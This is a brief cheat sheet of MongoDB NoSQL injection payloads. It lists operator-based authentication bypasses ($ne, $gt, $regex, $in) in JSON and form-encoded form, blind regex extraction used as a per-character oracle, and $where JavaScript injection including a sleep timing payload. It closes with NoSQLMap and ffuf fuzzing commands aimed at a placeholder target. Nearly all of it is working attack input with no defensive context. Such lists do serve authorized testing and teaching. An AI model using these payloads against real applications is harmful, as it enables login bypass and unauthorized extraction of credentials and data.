NoSQL injection (MongoDB-focused) — authentication bypass with operators, query operator injection, blind regex extraction, server-side $where JavaScript injection, JSON vs form delivery, and NoSQLMap/ffuf tooling.
{"username":"admin","password":{"$ne":null}}
{"username":{"$ne":null},"password":{"$ne":null}}
{"username":"admin","password":{"$gt":""}}
username=admin&password[$ne]=x
{"username":{"$regex":"^adm"},"password":{"$ne":1}}
{"$ne":null}
{"$gt":""} / {"$lt":"~"}
{"$in":["admin","root"]}
{"$exists":true}
{"$regex":".*"}
password[$regex]=^a.*
username=admin&password[$regex]=^p.*
true vs false response = an oracle for each guessed char
{"$where":"this.password.match(/.*/)"}
{"$where":"sleep(5000)"}
'; return true; var x='
{"$where":"function(){return this.role=='admin'}"}
Content-Type: application/json with operator objects
param[$ne]=1 (x-www-form-urlencoded)
?filter[$gt]=0
nosqlmap
ffuf -w operators.txt -u 'https://target.com/api?id[FUZZ]=1'
Burp: convert JSON string values into operator objects